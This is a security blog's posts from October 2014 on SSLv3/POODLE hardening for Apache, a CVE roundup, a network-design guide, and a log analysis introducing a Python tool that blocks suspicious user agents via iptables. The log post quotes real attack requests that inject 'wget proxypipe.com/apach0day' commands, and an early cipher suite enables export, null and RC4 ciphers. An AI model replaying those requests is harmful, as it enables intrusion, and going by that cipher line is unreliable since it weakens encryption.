Meine Blog-Liste

  • end of life - Good morning, as you may have already found out, the posts on this blog have been getting less and less. This is caused by the fact that my two honeypots h...
    vor 1 Jahr

Dienstag, 14. Oktober 2014

SSL issue again? [UPDATE 2]

Today The register announced that there will be an new thread against SSL soon.
According to the source there are currently only rumours going on and the only information is that it will be a threat to SSL v3.

So maybe its just time to get prepared to whatever will comes the way.

What I have done on my server:
    1. I checked details about my current SSL usage via https://www.ssllabs.com/ssltest/analyze.html?d=<SERVERNAME>
    2. As there has been some minus points within the check I just created a new cert using 2048 bit and SHA 256
    3. I adjusted some settings in my apache config

  • SSLProtocol +TLSv1 +TLSv1.1 +TLSv1.2
  • SSLCipherSuite ALL:!ADH:RC4+RSA:+HIGH:+MEDIUM:+LOW:+EXP:+eNULL

    So I disabled SSL currently, forcing only TLS, this uses the same library while only some "handshake" informations changes, maybe this brings some extra time. 

    So lets find out what the night brings.

    [UPDATE 2014/10/15]
    The issue is announced.

    http://www.thedomains.com/2014/10/14/google-discloses-a-vulnerability-in-ssl-3-0/

    http://www.theregister.co.uk/2014/10/14/google_drops_ssl_30_poodle_vulnerability/

    I haven't seen a Proof of Concept yet. But as it seems it is just a fallback issue. So you can force the SSL/TLS Version to a vulnerable (or less secure) version. For example SSLv3 which now has an issue that an attacker can calculate the plaintext of the secure connection.

    So the ideas yesterday (see above) are still right.


    [UPDATE 2014/10/16]
    Just for the record:

    A great overview on all changes you can do to protect yourself:

    https://scotthelme.co.uk/sslv3-goes-to-the-dogs-poodle-kills-off-protocol/

    And as an update to my ideas above, you may should set your Ciphersuite to:

    SSLCipherSuite EECDH+AES:EDH+AES:-SHA1:EECDH+RC4:EDH+RC4:RC4-SHA:EECDH+AES256:DHE+AES256:AES256-SHA:!aNULL:!eNULL:!EXP:!LOW:!MD5

    Than it will support "Forward Secrecy" at least for some browsers

    Montag, 13. Oktober 2014

    This week in security Week 40/41

    Some issues/news this week:


    CVE-2014-2044 Incomplete blacklist vulnerability in ajax/upload.php in ownCloud before 5.0, when running on Windows, allows remote authenticated users to bypass intended access restrictions, upload files with arbitrary names, and execute arbitrary code via an Alternate Data Stream (ADS) syntax in the filename parameter, as demonstrated using .htaccess::$DATA to upload a PHP program.

    How to Bypass Two-Factor Authentication (2FA) and What the Future Holds If Two-Factor Authentication (2FA) Is Not Bulletproof, How Will We Authenticate? In the past couple of years, we have repeatedly been reminded of the weakness of passwords as an authentication method. High-profile breaches with millions of lost credentials, sophisticated desktop malware, advanced mobile malware, phishing scams and other attacks have proven time and time again that a username and password combination cannot provide the adequate evidence required for authentication.

    CVE-2014-1572 A critical zero-day vulnerability discovered in Mozilla’s popular Bugzilla bug-tracking software used by hundreds of prominent software organizations, both private and open-source, could expose sensitive information and vulnerabilities of the software projects to the hackers.


    Sonntag, 5. Oktober 2014

    Analyzing Apache Logs [Introducing myPyApacheFW]

    There will be no news this weekend.
    Last week I did a lot of research regarding Apache and in special Agent information.

    I run my own installation of owncloud on one of my virtual servers. When you take a look at the access log, you may find something like:

    oc.johest.de:80 1.169.92.235 - - [05/Oct/2014:11:13:49 +0200] "CONNECT mx2.mail2000.com.tw:25 HTTP/1.0" 302 495 "-" "-"
    oc.johest.de:80 107.15.13.138 - - [05/Oct/2014:14:46:37 +0200] "GET /tmUnblock.cgi HTTP/1.1" 400 0 "-" "-"
    oc.johest.de:80 217.31.48.30 - - [16/Jul/2014:08:55:06 +0200] "HEAD /rom-0 HTTP/1.1" 302 191 "-" "Python-httplib2/0.7.4 (gzip)"
    oc.johest.de:80 217.31.48.30 - - [16/Jul/2014:08:55:06 +0200] "HEAD /rom-0 HTTP/1.1" 302 191 "-" "Python-httplib2/0.7.4 (gzip)"
    oc.johest.de:443 54.187.189.195 - - [08/Jul/2014:19:08:57 +0200] "GET /admin/config.php HTTP/1.0" 403 9273 "-" "Python-urllib/1.17"
    oc.johest.de:443 114.112.100.51 - - [13/Jul/2014:00:09:39 +0200] "GET /admin/config.php HTTP/1.0" 403 9225 "-" "Python-urllib/1.17"
     oc.johest.de:80 162.253.66.77 - - [28/Jul/2014:07:09:53 +0200] "GET /?x0a/x04/x0a/x04/x06/x08/x09/cDDOSv2dns;wget%20proxypipe.com/apach0day; HTTP/1.0" 302 630 "-" "chroot-apach0day"
    oc.johest.de:80 162.253.66.77 - - [28/Jul/2014:20:32:12 +0200] "GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSpart3dns;wget%20proxypipe.com/apach0day; HTTP/1.0" 302 636 "-" "chroot-apach0day"
    oc.johest.de:80 162.253.66.77 - - [28/Jul/2014:23:45:21 +0200] "GET /?x0a/x04/x0a/x02/x06/x08/x09/cDDOSSdns-STAGE2;wget%20proxypipe.com/apach0day; HTTP/1.0" 302 642 "-" "chroot-apach0day-HIDDEN BINDSHELL-ESTAB"


    As you can easily see, such a access is not really what you want, There is no need that a mail-server connects to my web-space and I really don't think that i provide a rmUnblock.cgi. Even any connection via Python or curl and Wget seems to be a bit strange.
    On a different machine i saw some huge brute-force attacks using Wget.

    So what can you do.
    First i took a look at all the agent information i have found in my own log files.
    It was obvoius that some agents should not be there, so i made a list of them

    • wget
    • curl
    • python
    • sqlmap
    • -
    • apache0day
    last one is a not available header, so someone who accessed your page and was not showing the agent information. 
    Than i created my own little tool.

    MyPyApacheFW

    First of all, if it comes down to apache hardening, there are several things you should do, and most of the things will secure your web-service more than my script currently can. So please, if you want to be sure just use
    1. mod_security
    2. mod_evasive
    3. fail2ban
    4. apparmor
    and anyway, give my script a try :-)

    My script is available on github:


    it simply takes an apache access log file as an input, and parses for any regmatch of bad agents and will block them via iptables.
    In the the newest version it does support GeoIP for logging also.

    So if you have cloned it to your local device, you can simply run
    cat /var/log/apache/access.log | python mypyfw.py
    and it will work. I will always try to have it backward compatible to the earliest version. So if there are new features they will not be running by defrault and will use extra options. Like:
    cat /var/log/apache/access.log | python mypyfw.py -g -t 
    Which will perform a logging only run, adding GeoIP information to the logfile.

    I added my first addon today, which is really just a few liner to cleanup iptables.
    You can find it within the Addon-folder.
    mypy-ipfw-cleanup.py
    will just go through every rule and delete them if the rule did not receive any package. As a bonus, it will reset the count for every rule to zero. So if you run it every day only active rules will stay on your system.
    Usage: mypyfw.py [options]
    
    Options:
      -h, --help            show this help message and exit
      -f FILE, --file=FILE  write report to FILE, default is /var/log/mypyfw.log
      -i IPPOSITION, --ippos=IPPOSITION
                            adjust IP position, default is 0
      -b FILE, --blacklist=FILE
                            path to blacklist, default values are Hardcoded
      -w FILE, --whitelist=FILE
                            path to Whitelist, default values are Hardcoded
      -t, --try-run          you want a test run
      -g, --geoIP           add GeoIP data to output





    Mittwoch, 1. Oktober 2014

    [Guide] Network layout

    the week started to be a silent one.

    A little guidance

    When it comes to network design, there are different architectures which are preferred. I would alway recommend to do a 2 Layer Setup. In this case two network components spread a DMZ for services.

    Now you are able to split the traffic. Normally you place any external service machines within the external network. Any backend machine within the internal network.

    Backend traffic now needs to go through the second network component Normally this machine would do basic (static) routing between networks and would have some basic firewall rules.

    In another step we might add some firewalls to these layout. Like ddos prevention systems next to our external router and am application firewall to the external network.

    The ddos protection should just protect our firewalls. So, if we compare ddos protection to  a firewall (like pfsense hardware firewall) we would be able to handle 8.000.000 packages as the firewall is stateful. Stateful means that every packages which goes through it is saved in an internal table. A ddos attack can easily reach more then this package count, so it would kill our firewall first. So dropping all ddos attacks in a first step does always lead to a solid system.
    Please keep in mind the the routing components which separates the networks already do basic firewalling. They should always deny traffic from outside to internal and the should really take care of the traffic, so for example no external service machine should be able to interact with every internal machine, the external machine should only communicate with there dedicated internal machines.

    The application firewall is just for service protection.
    We are able to filter xss attacks to http/https or do malware checking within the email traffic.